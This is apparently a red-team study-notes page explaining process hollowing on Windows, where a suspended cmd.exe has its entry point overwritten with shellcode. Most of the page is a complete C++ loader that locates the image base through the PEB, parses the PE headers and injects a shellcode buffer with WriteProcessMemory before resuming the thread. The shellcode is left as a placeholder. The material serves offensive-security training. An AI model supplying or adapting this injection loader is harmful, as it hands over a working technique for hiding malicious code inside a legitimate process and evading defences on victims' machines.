> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/crto/malware-essentials/process-injection/process-hollowing.md).

# Process hollowing

This is a technique where a process is started in a suspended state, the original PE is unmapped from memory, and a new PE mapped in its place. A half-way house to process hollowing is where we simply overwrite the PE's entry point with shellcode, without unmapping anything first. When the process is resumed, the process's primary thread will be pointing at our shellcode instead of the PE's executable code section.&#x20;

Finding the PE's entry point requires us to read its structure form memory while it's suspended. There's a native API called [NtQueryInformationProcess ](https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess)which is able to populate a structure called `PROCESS_BASIC_INFORMATION`. One of its members is *PebBaseAddress* which is pointer to a [PEB ](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb)structure. It's not documented, but one of its members is *ImageBaseAddress.*&#x20;

From there, we can read PE's DOS header to get the value for `e_lfanew` and then use that to locate the NT header. Drilling down into `OptionalHeader->AddressOfEntryPoint` give us the relative virutal address (RVA) of the PE's entry point.

```
#include <Windows.h>
#include <winternl.h>

#pragma comment(lib, "ntdll.lib")

int main()
{
    unsigned char shellcode[] = "...";

    STARTUPINFOW si = { 0 };
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;

    PROCESS_INFORMATION pi = { 0 };

    // spawn process in suspended state
    CreateProcess(
        L"C:\\Windows\\System32\\cmd.exe",
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        L"C:\\Windows\\System32",
        &si,
        &pi
    );

    // get the process information to find the address of the PEB
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    ULONG returnLength;
    NtQueryInformationProcess(
        pi.hProcess,
        ProcessBasicInformation,
        &pbi,
        sizeof(pbi),
        &returnLength
    );

    // the image base address is always at PEB + 0x10 for x64
    auto lpBaseAddress = (LPVOID)((DWORD64)(pbi.PebBaseAddress) + 0x10);

    // read the base address (addresses are 8 bytes for x64)
    LPVOID baseAddress = 0;
    SIZE_T bytesRead = 0;
    ReadProcessMemory(
        pi.hProcess,
        lpBaseAddress,
        &baseAddress,
        8,
        &bytesRead
    );

    // now we can read the dos header
    IMAGE_DOS_HEADER dHeader = { 0 };
    ReadProcessMemory(
        pi.hProcess,
        baseAddress,
        &dHeader,
        sizeof(dHeader),
        &bytesRead
    );

    // use e_lfanew to calculate pointer to nt header
    auto lpNtHeader = (LPVOID)((DWORD64)baseAddress + dHeader.e_lfanew);

    // read the nt header
    IMAGE_NT_HEADERS ntHeaders = { 0 };
    ReadProcessMemory(
        pi.hProcess,
        lpNtHeader,
        &ntHeaders,
        sizeof(ntHeaders),
        &bytesRead
    );

    // calculate the entry point address
    auto entryPoint = (LPVOID)((DWORD64)baseAddress + ntHeaders.OptionalHeader.AddressOfEntryPoint);

    // write shellcode to this location, overwriting the PE
    SIZE_T bytesWritten = 0;
    WriteProcessMemory(
        pi.hProcess,
        entryPoint,
        shellcode,
        sizeof(shellcode),
        &bytesWritten
    );

    // resume the process
    ResumeThread(pi.hThread);
}
```
